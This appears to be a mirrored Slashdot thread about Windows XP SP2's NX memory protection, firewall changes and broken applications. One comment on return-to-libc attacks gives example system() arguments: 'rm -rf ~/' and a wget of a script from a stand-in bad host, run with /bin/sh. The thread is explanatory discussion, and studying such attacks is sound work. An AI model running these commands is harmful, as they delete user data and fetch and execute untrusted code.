Slashdot Mirror
Windows XP SP2 Could Break Some Applications
Denver_80203 writes "An article from InfoWorld states that the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Or: 'The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one.' Fortunately for us, they are offering a course to guide the unsecure masses."
I have been waiting for this for a long time, glad to see it included in sp2.
Sounds like an issue with NX bit implementation on A64 ... this protects memory that is tagged as data from being executed (which protects against buffer overrun exploits, which are 50% of the MS security issues). This would affect .NET, Java, etc. However I'm sure that there is a way to fix this for these types of application!
Regardless, enforcing decent security like this is good.
Now all the hackers will have to try other methods of hacking windows, heh. I'm sure that there is no shortage of them!
Without doubt, countless QA software testers & coders will cry out in anguish over this.....more work for them to do. But if they want to sell their software on the large Windows desktop market....They have little choice in the matter.
For each software build, we have to test against the various OS versions, and different service packs builds. Not fun...
Just in time code generation != just in time compilation
SP2 is not just another Service Pack. MS are using this as a means to introduce a lot of new stuff. everything from locked-down DCOM settings, to pop-up blockers and a new version of the Windows Installer.
A lot of stuff is going to break, but I think that this is good in a way. MS have finally put security ahead of backward compatibility. Once these changes are in place and apps are working with them, the system is going to be more secure. For once MS should be applauded - yes, you can argue it's a bit late, but at least they're doing it now.
If you want to check out what changes SP2 actually makes, have a read of this white paper:
Changes to Functionality in Service Pack 2 for Microsoft Windows XP
Lengthy, but worth a read, especially if you have apps that you think might be affected.
A downloadable version is available here.
Here's a list of a few applications that has been reported having problems in the latest betas of SP2, compiled from comments at Neowin when they posted these news:
- Zone Alarm 2 (uninstall stops working)
- BS Player (driver fail to load)
- Roxio Easy Media Creator 7
- Microsoft Intellipoint 5.0
- Azureus BitTorrent client
- ATI's Rage3DTweak for Radeon
- Easy CD Creator 5
- eMule
- Tritton NAS-120's Managment Interface
- Leadtek WINFAST TV PVR (driver fail to load)
- ISO Recorder Powertoy
Also, a user reports the Windows XP SP2 firewall blocking incoming FTP traffic even without an installed firewall, and XP's built-in disabled.
Maybe it's "beta diseases", but it does seem like a lot to break for a service pack, even in a beta. These are usually quite stable as they contain mostly bugfixes, not Win32 API changes (which these problems are supposedely caused by).
Beware: In C++, your friends can see your privates!
Are you kidding? You have seen the format of a bitmap, haven't you? It's a seriously screwed up format.
I believe, BTW, the problem is an integer overflow one; a length field has a number substracted from it without previously checking that it is large enough to not wrap around to 2^32-(a little bit). This kind of thing happens a lot, and was the cause of the most recent Apache hole (among many others), so criticising MS for having one similar is a little harsh.
I have tried the pop up blocking in the latest SP2 build and it works flawlessly so far. Hope that answers your question.
Windows .NET Framework applications do not currently mark generated code with Execute permissions. XPSP2 recognizes the current, shipped versions of .NET Framework and runs them with NX off. Therefore existing .NET applications will continue to run. Microsoft is enhancing the .NET Framework to take advantage of NX and will ship service packs for each of the shipped versions in the XP SP2 RTM timeframe. The .NET Framework "Whidbey" will innately support NX.
These folks write and consult and teach about Windows drivers. I've followed their newsletter ever since I had to write an NT kernel driver for some custom I/O hardware, in case I ever needed to do another one (blechh!).
According to their newsletter at www.osronline.com, XP SP2 will include mandatory runtime memory pool overrun checking for all drivers. While this will improve the OS' security, it will ALSO cause mysterious failures on upgraded systems due to poorly-written legacy XP drivers. I make no judgements as to the wisdom of this course, but it's definitely worth knowing about beforehand. Of course, if they'd done this FROM THE START, then there would be no failures from it with the upgrade...
"My strength is as the strength of ten men, for I am wired to the eyeballs on espresso."
Wrong. Get your facts straight.
Bit 43 of the x86 segment descriptor table specifies whether a memory segment is executable.
Attempting to assign CS to a nonexecutable (read/write data) segment, i.e. attempting to execute code in a segment not specifically marked as executable, generates an exception. (See also this presentation for an overview of this and many other x86 security features, most of which are, admittedly, ignored by both Windows and Linux.)
And, by the way, this feature has been around since protected mode was introduced on the 80386. That was in 1985, almost 20 years ago.
It's hard for thee to kick against the pricks.
If you keep reading, you see that they mean the application must support a stateful firewall.
Ports will not accept incoming messages, unless an application has opened the port with an outgoing message (putting the port "in use").
This means that server applications - which have to accept uninitiated communications - have to be put on a "whitelist" manually.
It will not protect you against trojan horse applications which can initiate communications from your machine, but it will protect you against external port attacks which have helped some of the famous worms propogate.
In similar news, I've begun upgrading computers at work to OS X 10.3 and found things like AppleScripts I have made suddenly don't work anymore. WTF!? And various other installers (presumably using AppleScript) don't function either.
I'm all about progress and out with the old but ditching last year's technology is a bit quick.
No sig for you. YOU GET NO SIG!
That's funny because it is these same companies that get owned when the exploits come out. Many companies don't patch, either through ignorance or fear. Take MDAC for example, very buggy and MS has a patch to upgrade to the latest version but I've run into companies that require a certain version of MDAC. "We specifically need this version to run. your app uses that newer version with all the great features but we certainly don't want that. we want to old one with lots of securit holes in it"
did you forget to take your meds?
Nope. If the NX flag catches your problem, it won't let it slide - it'll refuse to run that segment of code. So instead of a buffer overflow you can't see, now you'll have an exception that's a lot more visible, and a lot less dangerous if it slips by QA.
Yeah, I agree, that would be quite unreasonable to expect Microsoft to not release this service pack. I hope it is apparent in my post that I don't think MS should shut this SP out; I just think it'll cause a lot of headaches, and I really hope they have an option to turn it off! (I.e. turn off the new security protections).
Some stupid developers (including Canada Customs & Revenue Agency's contractor who did the "tables on disk") put their data files in the "Program Files" subtree, and don't set any acls to allow anyone other than admin access.
One method I've used to get around this is logging in as a normal user, watching for what files it can't write, logging in as admin, setting the acls (with "cacls") to allow access to that file, log in as normal user again, run the program again, etc.
Sure, it's slow, but some programs you just need (like TOD), while others really should say "must be run as admin" on the box so we know to avoid them (like Quicken).
Interestingly, Tables on Disk (which is used to calculate payrol deductions) is a java program, but is only provided as windows & mac self-extracting installer. If they provided a zipped version, we wouldn't need any closed-source OS machines where I work.
If Java is doing the right thing it will not be broken.
:).
The right thing to do is to call VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE, &prevProtect);
That will mark the memory pages as being read/write/execute (where as previously they were only read/write). People should have been doing this before anyway (as the pages were never guaranteed to be executable), and if they didn't it's their bug.
I'm betting that Sun can download the beta and test Java on XP SP2 to make sure they're compliant though. Hell, Microsoft could probably even do some compatibility testing for them and enable a compatibility layer for Java. But then again Sun might sue them for that. MS probably just wants to stay away
Or you could just sit and blame Microsoft for your inability to read their supplied documentation pandering to a community that is as inept and continue to use the product without a clue as to how it works.
Quoting from the article linked below:
Starting with Windows XP Service Pack 2, on processors which support it (according to the web page, currently AMD K8, Itanium, and AMD64), the stack and heap will not be executable. If you try to execute the stack or the heap, an exception will be raised and the code will not execute. In other words, execute page protection will soon be enforced, now that processors exist that support it. (Actually, I believe Windows XP for Itanium already used this new protection level, so those of you who have been playing around with your Itanium may have seen this already.)
If you were a good developer and followed the rules on page protections, then this has no effect on you. But if you cheated the rules and took advantage of specific hardware implementation details, you may find yourself in trouble. Consider yourselves warned.
posted on Tuesday, November 04, 2003 3:38 AM
http://weblogs.asp.net/oldnewthing/archive/2003/11 /04/55560.aspx
Actually, it's not like stackguard. It's like a non-executable stack. Stackguard uses canaries, much like the VC7 'buffer-overflow protection' compiler switch. Sorry for the confusion. The rest of the message is true :P
:P
Noon is early for me
Sure, but nobody uses segmented memory anymore... All modern OSes (Windows 2K, Linux, BSD, Solaris... ) use paged memory. So my point is still valid.
Nobox: Only simple products.
Hopefully they're cracking down on all the apps that have to run as admin.
:( At least all over MSDN they recommend many times that when you use Visual Studio, you should do all your developing under a normal user account so you don't code yourself into an Administrator-only hole.
It's been a requirement for Windows XP Logo Certification (maybe even Windows 2000 certification, but I'm not sure) that your application has to run under a normal user account.
Of course, for apps that don't get logo certified, I don't think there's much Microsoft can do to force them to work.
NO CARRIER
Its why I favor java so strongly. Yet this seems to be one of the targets of the "patch." I hope this does not signal a return to the days where MS intentionally broke applications but never let on about it.
.NET making the adaption internally, but java is on its own. That is unfair use of monopoly power.
This seems to be exactly why the government was suing them. They will support
extra step (like the 'chmod u+x' required on *NIX)
.exe and locating the icon resource and displaying it, it is obvious that such thinking does occur to programmers and could easily have happened on Linux.
Hey I like Unix and dislike Windows, but this is a bit of Linux-fud. This is not some amazing "security feature" invented by K&R in 1970. Here are the facts:
1. A program can call "exec" on any file, whether or not it has the execute bit set. The system does not check, so this is not any real protection. Imagine a "Linux Outlook" written without any assumptions about security, the MS-style author of the program would certainly make it so that clicking on an executable would call exec or popen. The main security in Linux is that the email program writers never considered that somebody would want to run a program, they either save it as a file or open it as text. But considering that Microsoft went through the trouble of actually interpreting the attachement as a
2. Any program with permission to write the file can turn on the execute bit. For instance tar will restore the execute bits back on the tar'd files. A "user friendly" program would certainly turn on the bit on received files that indicated they want it, since that is what the user wants.
3. The real purpose of the execute bit:
When Unix was written in 1970, a powerful machine had 64K of memory and disks spun at a few hundred rpm. In addition the original design assummed executable programs and data files would be mixed together in the same directories. Especially the current directory: the idea that putting "." somewhere other than the start of the path for security did not occur till maybe 1980 (and it is still missing from Windows CMD.EXE!) Besides the current directory people would often modify their path to include their friend's home directories (to get their programs) or to get different versions of programs.
On such machines it would take many seconds to try to open a given file in each of several directories on the path. The only way to make a command run efficiently would be to store a hash table in memory saying which directory was the first on the path that each command was in (the command "rehash" in csh shells would recalculate this).
In the directory structure people were using then, over half the files on the path would not be executable and thus not commands. The rehash command could greatly reduce memory usage if it could eliminate these right away. The correct solution (opening the files and checking for magic execute bytes) would be far too slow. So they decided to dirty up the file system by adding a single "attribute" in the form of the execute bit, so the rehash could skip files quickly.
That is why the execute bit is there. It is not a security feature.
How would you bounds check with the compiler? That would be a determanistic operation to figure out if a number wraps around in that particular case (means the code has to be executed). It would still be up to the program to make sure the number wouldn't wrap around. So this would be more of runtime information to be tested and the programmer would have to tell it if he wants the wrap around behavior or not. I suppose he could use one of the Lisp languages whos numbers are not dependant on machine word size.
Reserved Word.
"The NX feature is very good for security and stability."
NO NO NO! That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.
Overwrite the stack pointer with the address of a suitable library function. E.g., clobbering the stack pointer with the address of system() and overwriting the top of the stack with (pointer(s) to) suitable arguments (e.g., "rm -rf ~/", or "wget -c http://somebadplace.com/somethingbad.sh;/bin/sh somethinbad.sh"). Nothing on the stack ever gets executed, and you neatly sidestep any protection afforded by NX.
Buffer overflows don't overflow into program code (the stack grows toward program code, so a buffer goes away from program code). The simplest buffer overflow would put code onto the stack and overwrite the return address of a function with an address of the code on the stack. This only works if the stack is executable. It sounds like they'll be making the stack for data only, breaking some applications. This does not stop another kind of overflow where you put system call arguments on the stack and alter the return address to start executing a system/library call.
Fortunately, the uninstallation makes heavy use of system-restore points, and seems to leave no residue!
With SP2, I also had problems with Services for Unix 3.5, but this may have been unrelated...
"Flyin' in just a sweet place,
Never been known to fail..."
Real Mode support was still in the OS, but turned off. See Real DOS-Mode Patch for Windows Millennium By Reines [MFD] (that's for dos booting), and Overview of Real Mode Removal from Windows Millennium Edition. Apparently Windows ME also used a VM to run DOS programs. (See second link.) Incidentally in my experience NT 3.51 was more reliable (on appropriate hardware - it did get left behind) than NT 4.0 because they merged two of the memory spaces in it in order to improve speed. Windows 2000, of course, is one of the best Windows(tm) OSes yet, and IMO Windows XP is just as good (there's some new bloat, but you can shut it off, and lose only disk space)
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
The way I see it, is that buffer overflow exploits work when a buffer is defined too small for the amount of data used to fill it.
yes.
The data 'overflows' into a region of memory that contains program code, the processor is currently executing.
No, usually not. What you usually do is write past a buffer on the stack, until you reach the function's return pointer, then you overwrite that with the location
of your own code. You can place this code either before or after the new return pointer, but the catch is that the stack must be marked as executable for you to run this code. Usually it is not possible to write into a region that contains program code with an overflow, those pages are in read-only pages/segments. (I'm assuming the text segments are read-only in XP, I may be wrong.)
In order to exploit a buffer overflow when the stack is in a non-executable page/segment you must find the code you need within the existing program or in the operating system, or in some other place marked executable. This can be much harder than just sticking your own code in there. However, if you just want to do a denial of service a non-executable stack is not a problem. Also a clever hacker can find those bits of useful code within a static binary or in the OS, or even within the normal course of execution by just stuffing the wrong data on to the stack. So compiling your own executables and operating system with random offsets is still a good idea, and it's an even better idea to fix the buffer overflows in the first place.
Still this is a very good idea, it's way too easy to exploit buffer overflows with an executable stack. It makes cracking just a cookie cutter operation. 1. find any overflow. 2. select one of many prewritten rootkit startups 3. profit. With page/segment protection it becomes 1. find an overflow. 2. ???? 3. profit.
JIT can still work, you just memmap/malloc the buffers for the code and then mark them as executable, instead of allocating little bits of code on the stack. This is probably already done this way in Java JIT engines, they might need to do a cleanup to make sure all the pages are allocated and marked properly.
No one uses segmentation, so the feature is useless. The paging model for x86 have not had the benefit of a non-execution flag. This was introduced by AMD in x86-64, but unfortunately not copied by Intel in ia32e
Doesn't this sound like JVM?
'The number one that leaps to mind is execution environments with just-in-time code generation.'
Are the using their security initiative to break java? It has seemed obvious to me that Microsoft would use security to break competitors products. Here it looks like they are.
This would be how any firewall worth it's shit works. Nothing is permitted incomming by default, unless there is a rule specifying otherwise. Now, when your computer goes and establishes a connection outgoing to another computer, that is permitted by default (unless there is a rule specifying otherwise).
Question is, what happens when the data comes back? If your firewall just says "allow out, deny in" and simply evaluates each packet in a vaccuum, it would do no good. You could never establish communications since all inbound traffic would be dropped.
So, what firewalls do is keep track of connections. You send a request to a webserver, it replies. The firewall, because it's stateful, knows that the reply is a response to your request, and permits it through. However, it's for that connection only. If the same server trys to poke at you, it'll get denied, while still allowing traffic for the web connection through.
Thus a stateful firewall with two simple rules (allow out, deny in) can secure a desktop system pretty well. Anyone that pokes at the system will get nothing, but all requests that the user initiates will be allowed.
The Windows XP firewall is a pretty simple one. By default, it does just this. You can also, if you like, specify inbound ports that are to be permitted at all times. So if you run an FTP server, you can specify that port 21 be permitted. However, in it's default config, it works great for most users. It's how I configure Kerio Personal Firewall for people, barring special needs.
You, sir, have not done your research. While this is typical of a ranting & raving slashdotter, it also spreads lies and misinformation.
First of all, Microsoft has published a document titled How to Enable Remote Debugging on Windows XP Service Pack 2.
Second, one of the features being added to Internet Explorer with SP2, is a lot of additional flexibility in controlling ActiveX behaviour. You can get a list of all the components that have been installed, and selectively remove them. You can also force IE to always disallow controls from a particular company, if you don't trust them (good for Gator, etc.)
Third, the firewall itself gives the user far more control and feedback than it used to have. You can read about the changes in more detail on this webpage. I'll bet you didn't know that you can control the new Windows Firewall from the command-line! How is this taking control away from the user? BTW, the reason applications like FTP and P2P are breaking, is because they make use of ports in strange and unconventional ways. Lots of firewalls have problems with this.
Fourth, Outlook XP didn't remove the ability to view attachments; they merely implemented a list of extensions which would be blocked by default. That's saved a lot of people from being infected by some of the viruses that have come around in the last couple of years... most of the time, the people who DO get infected are people who don't believe in upgrading their software and applying the latest Windows Updates.
Good idea, however, don't use virtualpc. vpc emulates the hardware, while something like vmware, relies on the existing hardware. This is why you can't run windows on vmware in mac, but you can run windos in vmware for linux(on an x86 box) vmware-style is less work, and will be faster...
O how i wish they would do this.